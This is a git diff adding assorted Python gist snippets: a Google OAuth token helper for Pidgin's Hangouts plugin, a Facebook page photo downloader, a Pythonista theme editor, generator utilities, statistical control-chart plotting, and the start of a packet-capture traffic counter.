diff --git a/hard-gists/6b9bae1310f2ee6b47ba3663bdcb1ded/snippet.py b/hard-gists/6b9bae1310f2ee6b47ba3663bdcb1ded/snippet.py
new file mode 100644
index 00000000..f253d7e9
--- /dev/null
+++ b/hard-gists/6b9bae1310f2ee6b47ba3663bdcb1ded/snippet.py
@@ -0,0 +1,111 @@
+#!/usr/bin/env python2
+
+# Author: Chris Dellin <cdellin@gmail.com>
+# Date: 2016-09-14
+# Script to scrape a working OAuth code from Google
+# using the approach from dequis and hastebrot
+# for use with hangups, purple-hangouts, etc.
+
+# Requires packages python-gi and gir1.2-webkit-3.0 on Ubuntu 16.04.
+
+# If you are using this with the Pidgin UI, run the script with no
+# arguments, and paste the resulting OAuth code into the box labeled
+# "Please paste the Google OAuth code here".
+
+# If you are using this with libpurple, pass the --redeem argument,
+# and the script will also redeem your auth code for a refresh token,
+# which can be set directly as the account password (e.g. in the
+# <password> field of your .purple/accounts.xml file).
+
+import argparse
+import json
+import urllib
+import pygtk
+pygtk.require('2.0')
+from gi.repository import Gtk as gtk
+from gi.repository import WebKit as webkit
+from gi.repository import GObject as gobject
+from gi.repository import Soup as soup
+
+parser = argparse.ArgumentParser()
+parser.add_argument('--redeem', default=False, action='store_true')
+args = parser.parse_args()
+
+# create window with a webview
+window = gtk.Window()
+window.set_resizable(True)
+window.set_default_size(350,580)
+window.connect("delete_event", lambda w,e: False)
+window.connect("destroy", lambda w: gtk.main_quit())
+scrolled = gtk.ScrolledWindow(None, None)
+webview = webkit.WebView()
+scrolled.add(webview)
+window.add(scrolled)
+window.show_all()
+
+# hook up a cookie jar
+# http://stackoverflow.com/a/39296977/5228520
+cookiejar = soup.CookieJarText.new('', False)
+cookiejar.set_accept_policy(soup.CookieJarAcceptPolicy.ALWAYS)
+session = webkit.get_default_session()
+session.add_feature(cookiejar)
+
+# open google page to request auth code
+# see https://github.com/tdryer/hangups/issues/260#issuecomment-246578670
+# and https://github.com/tdryer/hangups/issues/260#issuecomment-247512300
+# thanks dequis and hastebrot!
+get_params = {
+   'hl': 'en',
+   'scope': 'https://www.google.com/accounts/OAuthLogin',
+   'client_id': '936475272427.apps.googleusercontent.com',
+}
+uri_entrypoint = 'https://accounts.google.com/o/oauth2/programmatic_auth?' + urllib.urlencode(get_params)
+webview.open(uri_entrypoint)
+
+# register callback to auto-close on success or failure
+allowed_uris = [
+   uri_entrypoint,
+   'https://accounts.google.com/ServiceLogin?',
+   'https://accounts.google.com/signin/challenge/']
+def mycallback():
+   uri = webview.get_uri()
+   if uri is None or any([uri.startswith(pre) for pre in allowed_uris]):
+      return True
+   gtk.main_quit()
+gobject.timeout_add(100, mycallback)
+
+# start application (stops on window close or callback)
+gobject.threads_init()
+gtk.main()
+
+# read from cookie jar
+oauth_codes = []
+for c in cookiejar.all_cookies():
+   if c.get_domain() == 'accounts.google.com' and c.get_name() == 'oauth_code':
+      oauth_codes.append(c.get_value())
+for oauth_code in oauth_codes:
+   print('Found OAuth code: {}'.format(oauth_code))
+if not oauth_codes:
+   print('No oauth_codes found!')
+ 
+if len(oauth_codes) == 1 and args.redeem:
+   print('Redeeming OAuth code for refresh token ...')
+   # These parameters borrowed from the prpl-hangouts source code
+   # (see https://bitbucket.org/EionRobb/purple-hangouts/src/default/hangouts_auth.c)
+   request_uri = 'https://www.googleapis.com/oauth2/v3/token'
+   request_data = {
+      'client_id': '936475272427.apps.googleusercontent.com',
+      'client_secret': 'KWsJlkaMn1jGLxQpWxMnOox-',
+      'code': oauth_codes[0],
+      'redirect_uri': 'urn:ietf:wg:oauth:2.0:oob',
+      'grant_type': 'authorization_code'
+   }
+   resp = json.loads(urllib.urlopen(request_uri, urllib.urlencode(request_data)).read())
+   if 'refresh_token' in resp:
+      print('Found refresh token: {}'.format(resp['refresh_token']))
+      print('(Use this as your pidgin/finch/libpurple hangouts account password.)')
+   elif 'error' in resp:
+      print('Error: {} ({})'.format(resp['error_description'], resp['error']))
+   else:
+      print('Unknown error, response: {}'.format(resp))
+      
\ No newline at end of file
diff --git a/hard-gists/6bb9ddb5d904b7275c62/._snippet.py b/hard-gists/6bb9ddb5d904b7275c62/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6bb9ddb5d904b7275c62/._snippet.py differ
diff --git a/hard-gists/6bb9ddb5d904b7275c62/snippet.py b/hard-gists/6bb9ddb5d904b7275c62/snippet.py
new file mode 100644
index 00000000..8e545f75
--- /dev/null
+++ b/hard-gists/6bb9ddb5d904b7275c62/snippet.py
@@ -0,0 +1,152 @@
+#!/usr/bin/env python
+
+############################### README ###############################
+# External dependencies:
+# * libmagic
+# * python-dateutil
+# * python-magic
+# * requests
+#
+# The shell command call at the end was tested with GNU date from GNU
+# coreutils. Other implementations might not work (for instance, BSD
+# date is not compatible). However, you may comment out the last
+# section without affecting the download.
+#
+# The "last_update_timestamp" is reserved for the update feature,
+# which is not implemented yet.
+######################################################################
+
+import commands
+import json
+import os
+import sys
+import urllib
+
+import dateutil.parser
+import magic
+import requests
+
+########################### CUSTOMIZE THIS ###########################
+page_id = "567045406742962"
+access_token = "app_id|app_secret" # see https://developers.facebook.com/docs/facebook-login/access-tokens#apptokens
+dest = os.path.expanduser("~/img/sns/apink-official-facebook")
+website_title = "apink-official-facebook"
+######################################################################
+
+if not os.path.exists(dest):
+    os.makedirs(dest)
+
+# read last update time, if it is available
+last_update_record = dest + "/last_update_timestamp"
+if os.path.exists(last_update_record):
+    f = open(last_update_record, "r")
+    last_update_timestamp = f.readline()
+    f.close()
+    last_update_time = dateutil.parser.parse(last_update_timestamp)
+else:
+    last_update_time = dateutil.parser.parse("1970-01-01T00:00+00:00")
+
+# this function makes an API call with only an access_token (which
+# could be just app-id|app-secret)
+def fb_public_call(endpoint, params, access_token):
+    params["access_token"] = access_token
+    response = requests.get("https://graph.facebook.com/" + endpoint,
+                            params=params)
+    return response.json()
+
+# this function downloads a photo
+# return codes are defined below
+SUCCESS = 0
+FAILED_DOWNLOAD = 1
+UNRECOGNIZED_MIME = 2
+OLD_PHOTO = 255 # photo older than last update time
+def handle_photo(photo, album_id):
+    # print information
+    photo_id = photo["id"]
+    time = dateutil.parser.parse(photo["created_time"])
+    if time < last_update_time:
+        return OLD_PHOTO
+    time_print = time.strftime("%b %d, %Y")
+    time_full = time.strftime("%Y%m%d%H%M%S")
+    original_image = photo["images"][0]
+    height = original_image["height"]
+    width = original_image["width"]
+    format_string = "date: %s   id: %s   size: %sx%s"
+    print format_string % (time_print, photo_id, width,
+                           height)
+    # download file
+    source_uri = original_image["source"]
+    filename = time_full + "-" + website_title + "-" + \
+               album_id + "-" + photo_id
+    filepath = dest + "/" + filename
+    urllib.urlretrieve(source_uri, filepath)
+    # identify mime type and attach extension
+    if os.path.exists(filepath):
+        mime = magic.from_file(filepath, mime=True)
+        if mime == "image/gif":
+            newfilepath = filepath + ".gif"
+        elif mime == "image/jpeg":
+            newfilepath = filepath + ".jpg"
+        elif mime == "image/png":
+            newfilepath = filepath + ".png"
+        else:
+            err = filepath + ": error: " + \
+                  "unrecgonized image type\n"
+            sys.stderr.write(err)
+            return UNRECOGNIZED_MIME
+        os.rename(filepath, newfilepath)
+        return SUCCESS
+    else:
+        # donwload failed for whatever reason
+        err = "error: " + filename + " failed to " + \
+              "downloaded from " + source_uri + "\n"
+        sys.stderr.write(err)
+        return FAILED_DOWNLOAD
+
+# this function handles an album, i.e., download newly added photos
+# since the last update
+def handle_album(album):
+    # print album info
+    album_id = album["id"]
+    format_string = "downloading album \"%s\" " + \
+                    "(album id: %s; photo count: %s)"
+    print format_string % (album["name"], album_id,
+                           album["count"])
+    print "-" * 80
+    # retrieve photos in the album
+    photos_response = fb_public_call(album["id"] + "/photos",
+                                     params, access_token)
+    while True:
+        for photo in photos_response["data"]:
+            if handle_photo(photo, album_id) == OLD_PHOTO:
+                # already encountered old photo in this album
+                # no need to look further into the past
+                print
+                return
+
+        if "next" in photos_response["paging"]:
+            next_uri = photos_response["paging"]["next"]
+            photos_response = requests.get(next_uri).json()
+        else:
+            break
+    print
+    
+params = {}
+# retrieve albums
+albums_response = fb_public_call(page_id + "/albums", params,
+                                 access_token);
+while True:
+    for album in albums_response["data"]:
+        handle_album(album)
+
+    if "next" in albums_response["paging"]:
+        next_uri = albums_response["paging"]["next"]
+        albums_response = requests.get(next_uri).json()
+    else:
+        break
+
+# update feature yet to be implemented
+# create a file "last_update_timestamp" for future use
+f = open(last_update_record, "w")
+f.write(commands.getoutput("date -u --iso-8601=seconds"))
+f.close()
diff --git a/hard-gists/6c168b0c36ca3b23cacc/._snippet.py b/hard-gists/6c168b0c36ca3b23cacc/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6c168b0c36ca3b23cacc/._snippet.py differ
diff --git a/hard-gists/6c168b0c36ca3b23cacc/snippet.py b/hard-gists/6c168b0c36ca3b23cacc/snippet.py
new file mode 100644
index 00000000..0e4c33a4
--- /dev/null
+++ b/hard-gists/6c168b0c36ca3b23cacc/snippet.py
@@ -0,0 +1,75 @@
+# coding: utf-8
+'''
+Basic theme editor for Pythonista 1.6 (beta)
+
+WARNING: Use at your own risk! User themes aren't "officially" supported, and
+this may break in future versions. If you enter invalid JSON or anything else
+that the app can't deal with, it *will* crash -- your input is not validated
+in any way.
+'''
+
+from objc_util import *
+import os
+import glob
+import dialogs
+import ui
+
+def get_theme_names():
+	'''Return names of all built-in themes'''
+	res_path = str(ObjCClass('NSBundle').mainBundle().resourcePath())
+	theme_paths = glob.glob(os.path.join(res_path, 'Themes2/*.json'))
+	theme_names = [os.path.split(p)[1].split('.')[0] for p in theme_paths]
+	return theme_names
+
+def get_theme_path(name):
+	'''Return absolute path of the JSON file of a built-in theme'''
+	if name.startswith('User:'):
+		return os.path.join(get_user_themes_path(), name[5:] + '.json')
+	else:
+		res_path = str(ObjCClass('NSBundle').mainBundle().resourcePath())
+		theme_path = os.path.join(res_path, 'Themes2/%s.json' % name)
+		if not os.path.exists(theme_path):
+			raise IOError('Theme does not exist')
+		return theme_path
+
+def get_user_themes_path():
+	'''Return folder path where user themes are stored'''
+	home = os.getenv('CFFIXED_USER_HOME')
+	user_themes_path = os.path.join(home, 'Library/Application Support/Themes')
+	if not os.path.exists(user_themes_path):
+		os.mkdir(user_themes_path)
+	return user_themes_path
+	
+def get_current_theme_name():
+	defaults = ObjCClass('NSUserDefaults').standardUserDefaults()
+	return str(defaults.objectForKey_('ThemeName'))
+
+@on_main_thread
+def set_theme(name):
+	defaults = ObjCClass('NSUserDefaults').standardUserDefaults()
+	defaults.setObject_forKey_(name, 'ThemeName')
+	ui_theme = ObjCClass('PA2UITheme').sharedTheme()
+	ui_theme.loadThemeNamed_(name)
+	# Reset the thumbnail cache for the script library:
+	renderer = ObjCClass('PAScriptThumbnailRenderer').sharedThumbnailRenderer()
+	renderer.reset()
+	# Hide the keyboard (switching between light/dark doesn't look right otherwise):
+	UIApp = ObjCClass('UIApplication')
+	UIApp.sharedApplication().keyWindow().endEditing_(True)
+
+def main():
+	base_theme_name = get_current_theme_name()
+	default_theme_path = get_theme_path(base_theme_name)
+	with open(default_theme_path) as f:
+		theme_json = f.read()
+	edited_theme = dialogs.text_dialog('Edit Theme (%s)' % base_theme_name, theme_json, font=('Menlo', 14), autocorrection=False, spellchecking=False, autocapitalization=ui.AUTOCAPITALIZE_NONE, done_button_title='Apply')
+	if not edited_theme:
+		return
+	user_theme_path = os.path.join(get_user_themes_path(), 'MyTheme.json')
+	with open(user_theme_path, 'w') as f:
+		f.write(edited_theme)
+	set_theme('User:MyTheme')
+	dialogs.hud_alert('Theme saved')
+
+if __name__ == '__main__':
+	main()
\ No newline at end of file
diff --git a/hard-gists/6c78e65f4b78adfa3766/._snippet.py b/hard-gists/6c78e65f4b78adfa3766/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6c78e65f4b78adfa3766/._snippet.py differ
diff --git a/hard-gists/6c78e65f4b78adfa3766/snippet.py b/hard-gists/6c78e65f4b78adfa3766/snippet.py
new file mode 100644
index 00000000..e2fe2b74
--- /dev/null
+++ b/hard-gists/6c78e65f4b78adfa3766/snippet.py
@@ -0,0 +1,29 @@
+import builtins
+import random
+
+def word_list(filename):
+  with open(filename) as fp:
+    for l in fp:
+      yield l.split()
+
+def batch(generator, size):
+  batch = []
+  for l in generator:
+    batch.append(l)
+    if len(batch) == size:
+      yield batch
+      batch = []
+  if batch:
+    yield batch
+
+def shuffled(generator, size):
+  for b in batch(generator, size):
+    random.shuffle(b)
+    for l in b:
+      yield l
+
+def sorted(generator, size, key):
+  for b in batch(generator, size):
+    for l in builtins.sorted(b, key=key):
+      yield l
+
diff --git a/hard-gists/6ca93b8309f05055c6a3/._snippet.py b/hard-gists/6ca93b8309f05055c6a3/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6ca93b8309f05055c6a3/._snippet.py differ
diff --git a/hard-gists/6ca93b8309f05055c6a3/snippet.py b/hard-gists/6ca93b8309f05055c6a3/snippet.py
new file mode 100644
index 00000000..c9eda028
--- /dev/null
+++ b/hard-gists/6ca93b8309f05055c6a3/snippet.py
@@ -0,0 +1,6 @@
+# use the following snippet in your ipython notebook shell
+import argparse
+import tensorflow as tf
+
+tf.app.flags.FLAGS = tf.python.platform.flags._FlagValues()
+tf.app.flags._global_parser = argparse.ArgumentParser()
\ No newline at end of file
diff --git a/hard-gists/6cd16631253eed21f37f/._snippet.py b/hard-gists/6cd16631253eed21f37f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6cd16631253eed21f37f/._snippet.py differ
diff --git a/hard-gists/6cd16631253eed21f37f/snippet.py b/hard-gists/6cd16631253eed21f37f/snippet.py
new file mode 100644
index 00000000..be9e359f
--- /dev/null
+++ b/hard-gists/6cd16631253eed21f37f/snippet.py
@@ -0,0 +1,517 @@
+#!/usr/bin/env python
+
+
+#_______________________________________________________________________
+#
+# C C C P   i s  C o n t r o l    C h a r t s    i n   P y t h o n
+#_______________________________________________________________________
+#
+
+
+license_str = """
+  This program is free software; you can redistribute it and/or modify
+  it under the terms of the GNU General Public License as published by
+  the Free Software Foundation; either version 2 of the License, or
+  (at your option) any later version.
+
+  This program is distributed in the hope that it will be useful,
+  but WITHOUT ANY WARRANTY; without even the implied warranty of
+  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+  GNU General Public License for more details.
+
+  You should have received a copy of the GNU General Public License
+  along with this program; if not, write to the Free Software
+  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
+  MA 02110-1301, USA.
+ """
+
+
+from pylab import *
+from math import *
+import time as py_time
+import datetime as py_datetime
+#from control_chart_data_parser import *
+from cccp_const import *
+from cccp_ex import *
+from cccp_types import *
+
+def xtend( x ):
+    ar = []
+    for t in r.sample_times:
+        ar.append(x)
+    return ar
+
+def rside_txt( xmax, val, txt, loc=None ):
+    if loc == None:
+        loc = val
+    text( xmax*1.02, loc, txt%val )
+
+version = 1.0
+script_name = sys.argv[0]
+valid_machines = [ "qranky_1", "qranky_2", "igor_1", "example" ]
+
+
+help_str = """
+About:
+  CCCP is Control Charts in Python
+  %s, Version %3.1f
+  Quarq Technology / SRAM LLC
+  Jonathan Huft
+  Licensed under GPL V2
+
+Example: %s -f=qranky_1
+
+Options:
+  --help      ( -? )        Prints this message.
+  --machine=  ( -m= )       Specify test machine from following:
+              %s
+  --file      ( -f= )       Specify CSV file to import from.
+  --verbose   ( -v )        More verbose output.
+  --license   ( -l )        Prints GPL license notification.
+
+""" % ( script_name, version, script_name, valid_machines )
+
+
+
+class Control_Chart:
+
+    def __init__( self ):
+        self.verbose = False
+        self.outpath = "outputs/"
+        self.time_ran = py_time.localtime()
+        self.infile = None
+        self.tol = 0.05     # Sets axis on mean plot
+
+
+
+    # Given a data set, determine which samples are in violation
+    # of the common Western Electric  control chart rules
+    def western_electric_rules( self, r ):
+
+        # Points outside the +/- 3 sigma control limits
+        def get_3s_violators( r ):
+            ss = len(r.samples[0].measurements)
+            A2r = const_A2[ ss ]*r.range
+            ucl = r.mean + A2r
+            lcl = r.mean - A2r
+            return get_m_of_n_runs( r.sample_means, 1, 1, lcl, ucl )
+
+
+        ## Two out of three consecutive points outside
+        ## the +/- 2 sigma limits
+        def get_2s_runs( r ):
+            ss = len(r.samples[0].measurements)
+            A2r = const_A2[ ss ]*r.range
+            ucl = r.mean + A2r*2.0/3.0
+            lcl = r.mean - A2r*2.0/3.0
+            return get_m_of_n_runs( r.sample_means, 2, 3, lcl, ucl )
+
+
+        ## Four out of five consecutive points outside
+        ## the +/- 1 sigma limits
+        def get_1s_runs( r ):
+            ss = len(r.samples[0].measurements)
+            A2r = const_A2[ ss ]*r.range
+            ucl = r.mean + A2r/3.0
+            lcl = r.mean - A2r/3.0
+            return get_m_of_n_runs( r.sample_means, 4, 5, lcl, ucl )
+
+
+        ## Eight consecutive points on the same side
+        ## of the center line.
+        def get_mean_runs( r ):
+            ucl = r.mean
+            lcl = r.mean
+            return get_m_of_n_runs( r.sample_means, 8, 8, lcl, ucl )
+
+
+        def get_m_of_n_runs( data, m, n, lcl, ucl ):
+
+            t, s = [], []
+            for i in range(n,len(data)+1,1):
+                set = data[i-n:i]
+                if n_of_set( set, m, 'gt', ucl ) or \
+                    n_of_set( set, m, 'lt', lcl ):
+                    t.append( r.sample_times[i-n:i] )
+                    s.append( data[i-n:i] )
+            return t, s
+
+
+        # Checks if 'n' items in a set are greater than 'lim', etc.
+        # 'expr' parameter specifies conditional relation of 'set items
+        # to 'lim'
+        def n_of_set( set, n, expr = 'gt', lim = 0.0 ):
+            ct = 0
+            for i in set:
+                if expr == 'gt':
+                    if i > lim:
+                        ct += 1
+                elif expr == 'lt':
+                    if i < lim:
+                        ct += 1
+                elif expr == 'gte':
+                    if i <= lim:
+                        ct += 1
+                elif expr == 'lte':
+                    if i <= lim:
+                        ct += 1
+            if ct >= n:
+                return True
+            else:
+                return False
+
+
+        if False:   # Test for WE rules function
+            data = [ 0.0, 0.0, 2.0, 3.0, 3.0, 2.0, 2.0, 3.0, \
+                     3.0, 2.0, 2.0, 2.0, 3.0, 7.0 ]
+
+            m = 3
+            for i in range(m,len(data)+1,1):
+                set = data[i-m:i]
+                print set,
+                if n_of_set( set, n=2, expr='gt', lim=2.5 ):
+                    print "!"
+                else:
+                    print
+
+
+        ## Get all of the violating series..
+        out_of_ctrl_samples = []
+        out_of_ctrl_times = []
+
+        if True:
+            for f in [ get_3s_violators, get_mean_runs, \
+                get_2s_runs, get_1s_runs ]:
+                t, s = f( r )
+                out_of_ctrl_times.append(t)
+                out_of_ctrl_samples.append(s)
+                print "Out of control points detected:"
+                print f
+                print s, "@", t
+                print
+
+
+        return out_of_ctrl_times, out_of_ctrl_samples
+
+
+
+    def plot_means( self, r ):
+
+        r.update_all()
+
+        # Use mean of sample ranges
+        ss = len(r.samples[0].measurements)
+        A2r = const_A2[ ss ]*r.range
+        ucl = r.mean + A2r
+        lcl = r.mean - A2r
+
+        plot( r.sample_times, xtend(ucl), linewidth=4.0, c='r', alpha=0.5  )
+        plot( r.sample_times, xtend(lcl), linewidth=4.0, c='r', alpha=0.5  )
+        if True:
+            plot( r.sample_times, xtend(r.mean + A2r/3.0), linewidth=1.0, c='b', alpha=0.25  )
+            plot( r.sample_times, xtend(r.mean - A2r/3.0), linewidth=1.0, c='b', alpha=0.25  )
+            plot( r.sample_times, xtend(r.mean + A2r*2.0/3.0), linewidth=1.0, c='y', alpha=0.25  )
+            plot( r.sample_times, xtend(r.mean - A2r*2.0/3.0), linewidth=1.0, c='y', alpha=0.25  )
+        plot( r.sample_times, xtend(r.mean), linewidth=2.0, c='b'  )
+        plot( r.sample_times, r.sample_means, marker='^', c='k')
+
+        tmin = min(r.sample_times)
+        tmax = max(r.sample_times)
+
+        #axis([tmin, tmax, lcl*(1-self.tol),ucl*(1+self.tol)])
+        rside_txt(tmax, ucl, "UCL=%5.3f")
+        rside_txt(tmax, lcl, "LCL=%5.3f")
+        rside_txt( tmax, r.mean, "Nominal=%5.3f" )
+
+        span = ((ucl-lcl)/r.mean )*100.0
+        rside_txt( tmax, span, "Span=%5.3f%%", lcl*(1-self.tol))
+
+
+        #xlabel('Time')
+        ylabel('Means', fontsize=18)
+        grid(False)
+
+
+    def plot_western_electric_overlay( self ):
+        # Find points that are out of control based on rules and
+        # overlay these points with big red blobs
+        out_of_ctrl_times, out_of_ctrl_samples = \
+            self.western_electric_rules( r )
+
+        if self.verbose and len(out_of_ctrl_samples) :
+            print "Overlaying out-of-control points.."
+
+        for rule in range(0, len(out_of_ctrl_samples)):
+            t, s = out_of_ctrl_times[rule], out_of_ctrl_samples[rule]
+
+            if len(s) > 0:
+                scatter(t, s, s=250, c='r', alpha=0.5)
+
+
+    def plot_ranges( self, r ):
+        r.update_all()
+
+        ss = len(r.samples[0].measurements)
+        ucl =  r.range * const_D4[ss]
+        lcl =  r.range * const_D3[ss]
+
+        plot( r.sample_times, xtend(ucl), linewidth=4.0, c='r', alpha=0.5  )
+        plot( r.sample_times, xtend(lcl), linewidth=4.0, c='r', alpha=0.5  )
+        plot( r.sample_times, xtend(r.range), linewidth=2.0, c='b' )
+        plot( r.sample_times, r.sample_ranges, marker='^', c='k')
+
+        tmin = min(r.sample_times)
+        tmax = max(r.sample_times)
+
+        #axis([tmin, tmax, lcl*0.66, ucl*1.25])
+        rside_txt( tmax, ucl, "UCL=%5.3f" )
+        rside_txt( tmax, lcl, "LCL=%5.3f" )
+        rside_txt( tmax, r.range, "Nominal=%5.3f" )
+
+        #xlabel('Time')
+        ylabel('Ranges', fontsize=18)
+        grid(True)
+
+
+    # Achtung:  Need to figure out how to properly compute stdevs
+    #           and what factors to use and what they do...
+    def plot_stdevs( self, r ):
+        r.update_all()
+        ss = len(r.samples[0].measurements)
+        ucl =  r.stdev * const_B4[ss]
+        lcl =  r.stdev * const_B3[ss]
+
+        plot( r.sample_times, xtend(ucl), linewidth=4.0, c='r', alpha=0.5  )
+        plot( r.sample_times, xtend(lcl), linewidth=4.0, c='r', alpha=0.5  )
+        plot( r.sample_times, xtend(r.stdev), linewidth=2.0, c='b' )
+        plot( r.sample_times, r.sample_stdevs, marker='^', c='k')
+
+        tmin = min(r.sample_times)
+        tmax = max(r.sample_times)
+
+        #axis([tmin, tmax, lcl*0.666, ucl*1.25])
+        rside_txt( tmax, ucl, "UCL=%5.3f" )
+        rside_txt( tmax, lcl, "LCL=%5.3f")
+        rside_txt( tmax, r.stdev, "Nominal=%5.3f" )
+
+        grid(True)
+
+
+    def plot_cusum( self, r, target_mean, k=0.5, h=4 ):
+        r.update_all()
+
+        # Control limits
+        ss = len(r.samples[0].measurements)
+        # Adjust sample stdev to estimated population stdev
+        sigma = r.stdev * const_A3[ss] / 3.0
+        ucl = h*sigma
+        lcl = -1.0 * ucl
+
+        # Compute cumulative sums
+        su, sl = [0], [0]
+        for x in r.sample_means:
+            su.append( max( 0, x - target_mean - k*sigma  + su[-1] ) )
+            sl.append( min( 0, x - target_mean + k*sigma  + sl [-1]) )
+        # Trim the first zeros off..
+        su = su[1:]
+        sl = sl[1:]
+
+
+        plot( r.sample_times, xtend(ucl), linewidth=4.0, c='r', alpha=0.5  )
+        plot( r.sample_times, xtend(lcl), linewidth=4.0, c='r', alpha=0.5  )
+        plot( r.sample_times, su, marker='^', c='k'  )
+        plot( r.sample_times, sl, marker='^', c='k' )
+
+        tmin = min(r.sample_times)
+        tmax = max(r.sample_times)
+
+        #axis([tmin, tmax, lcl*1.1, ucl*1.1])
+        rside_txt( tmax, ucl, "UCL=%5.3f" )
+        rside_txt( tmax, lcl, "LCL=%5.3f" )
+        rside_txt( tmax, target_mean, "Target=%5.3f")
+
+        grid(True)
+
+
+    def plot_p_attr( self, r ):
+        r.update_all()
+        #r.pretty_print(True,False)
+
+        # Control limits
+        ss = len(r.samples[0].measurements)
+
+        mean_p = r.get_mean_proportion_defective()
+        #print "--> mean_p:", mean_p
+
+        # Compute upper and lower control lims
+        ucl, lcl = [], []
+        for s in r.samples:
+            s.update_all()
+            n = len( s.measurements )   #Sample size
+            q = 3*sqrt( mean_p*(1-mean_p)/n )
+
+            ucl.append( mean_p + q )
+            lcl.append( max( 0, mean_p - q ) )
+
+
+        plot( r.sample_times, ucl, linewidth=4.0, c='r', alpha=0.5  )
+        plot( r.sample_times, lcl, linewidth=4.0, c='r', alpha=0.5  )
+        plot( r.sample_times, xtend(mean_p), linewidth=2.0, c='b' )
+        plot( r.sample_times, r.defect_proportions, marker='^', c='k',
+            linewidth=2.0)
+
+
+        tmin = min(r.sample_times)
+        tmax = max(r.sample_times)
+
+        #ymin =  min(lcl)*0.8
+        ymin = 0
+        #([tmin, tmax, ymin, max(ucl)*1.2])
+        rside_txt( tmax, mean_p, "Mean=%5.3f")
+        text( tmax*1.02, ucl[-1], "UCL" )
+        text( tmax*1.02,lcl[-1], "LCL" )
+        grid(True)
+
+
+
+    def save_plots( self, stitle ):
+
+        savefig("%s%s_%s.png"% (self.outpath, stitle, \
+            py_time.strftime("%Y-%m-%d_%H-%M-%S", self.time_ran)  ) )
+        savefig("%scurrent_%s.png"% (self.outpath, stitle) )
+
+
+
+
+    def make_xbar_plot( self, r, stitle, p2='range', cusum=False ):
+
+        figure(1, figsize=(18, 8), dpi=80, facecolor='w', edgecolor='k')
+        suptitle(stitle, fontsize=20)
+
+        #years    = YearLocator()   # every year
+        #months   = MonthLocator()  # every month
+        #yearsFmt = DateFormatter('%Y')
+
+
+        if cusum:
+            subplot(311)
+        else:
+            subplot(211)
+        title('Generated %s' % py_time.strftime("%Y/%m/%d, %H:%M", \
+            self.time_ran) )
+        self.plot_means(r)
+        #self.plot_western_electric_overlay()
+
+
+        if cusum:
+            subplot(312)
+        else:
+            subplot(212)
+        if p2 in ('r', 'range'):
+            self.plot_ranges(r)
+            ylabel('Std. Devs.', fontsize=18)
+        elif p2 in ('s', 'stdev'):
+            self.plot_stdevs(r)
+            ylabel('Std. Devs.', fontsize=18)
+
+        if cusum:
+            subplot(313)
+            self.plot_cusum(r, 10.0, k=0.5, h=4 )
+            ylabel('CUSUM', fontsize=18)
+
+        xlabel('Time', fontsize=18)
+        self.save_plots(stitle)
+
+
+
+        if self.verbose:
+            show()
+
+
+
+    def make_attr_chart( self, r, stitle ):
+
+        figure(1, figsize=(18, 8), dpi=80, facecolor='w', edgecolor='k')
+        suptitle(stitle, fontsize=20)
+
+
+        subplot(111)
+        title('Generated %s' % py_time.strftime("%Y/%m/%d, %H:%M", \
+            self.time_ran) )
+        self.plot_p_attr(r)
+        xlabel('Time', fontsize=18)
+        ylabel('Proportion', fontsize=18)
+
+
+        self.save_plots(stitle)
+        if self.verbose:
+            show()
+
+
+
+
+#_______________________ M A I N __ P R O G R A M _____________________#
+
+if __name__=="__main__":
+
+    cc = Control_Chart()
+
+    # Parse command-line arguements
+    for arg in sys.argv:
+
+        if arg in ['-?', '-h', '-help',  '--help']:
+            print help_str
+            exit(0)
+
+        if arg in [ "-l", "--license"]:
+            print license_str
+            exit(0)
+
+        if arg in ["-v", "--verbose"]:
+            cc.verbose = True
+
+        if arg.startswith("-m=") or arg.startswith("--machine="):
+            cc.machine_name = arg.rsplit( "=", 1 )[1]
+            if not cc.machine_name in valid_machines:
+                print "Please specify one of the following:", \
+                valid_machines
+                exit(-1)
+
+        if arg.startswith("-f=") or arg.startswith("--file="):
+            cc.infile = arg.rsplit( "=", 1 )[1]
+
+
+    # x-bar/R chart example from Foster Text
+    if False:
+        r = import_time_value_arrays( times=[], \
+            values=example_data_foster_18_11, sample_size=4 )
+        r.pretty_print(True, True)
+        t = 'Figure 11-8 from Foster Text'
+        cc.make_xbar_plot(r, t, p2='range')
+
+
+    # p chart example from Foster Text
+    elif False:
+        r = get_example_data_foster_12_1()
+        t = 'Example 12-1 from Foster Text'
+        cc.make_attr_chart( r, stitle=t )
+
+
+    # Example of calibration drift and CUSUM chart
+    elif True:
+        d = get_calibration_example_data()
+        r = import_time_value_arrays( times=[], \
+            values=d, sample_size=4 )
+        t = 'Calibration Control Chart'
+        cc.make_xbar_plot(r, t, p2='range', cusum=True )
+
+
+    else:
+        if cc.infile == None:
+            print "Please specify a data file."
+            exit(0)
+        else:
+            t, m = import_csv_to_arrays( cc.infile )
+            r = import_time_value_arrays( t, m, sample_size=4 )
+            t =  ('Control Chart')
+            cc.make_attr_chart( r, stitle=t )
\ No newline at end of file
diff --git a/hard-gists/6d459a8c2ae945808d69/._snippet.py b/hard-gists/6d459a8c2ae945808d69/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6d459a8c2ae945808d69/._snippet.py differ
diff --git a/hard-gists/6d459a8c2ae945808d69/snippet.py b/hard-gists/6d459a8c2ae945808d69/snippet.py
new file mode 100644
index 00000000..b849084a
--- /dev/null
+++ b/hard-gists/6d459a8c2ae945808d69/snippet.py
@@ -0,0 +1,65 @@
+import dpkt
+import humanfriendly
+import nids
+import pandas as pd
+import socket
+import sys
+
+conv = {}
+ip_to_domain = {}
+end_states = (nids.NIDS_CLOSE, nids.NIDS_TIMEOUT, nids.NIDS_RESET)
+
+def handle_tcp_stream(tcp):
+    ports = [80, 443]
+    if tcp.addr[1][1] not in ports:
+        return
+    global conv
+    if tcp.nids_state == nids.NIDS_JUST_EST:
+        tcp.client.collect = 1
+        tcp.server.collect = 1
+    elif tcp.nids_state == nids.NIDS_DATA:
+        tcp.discard(0)
+    elif tcp.nids_state in end_states:
+        ip = tcp.addr[1][0]
+        conv.setdefault(ip, 0)
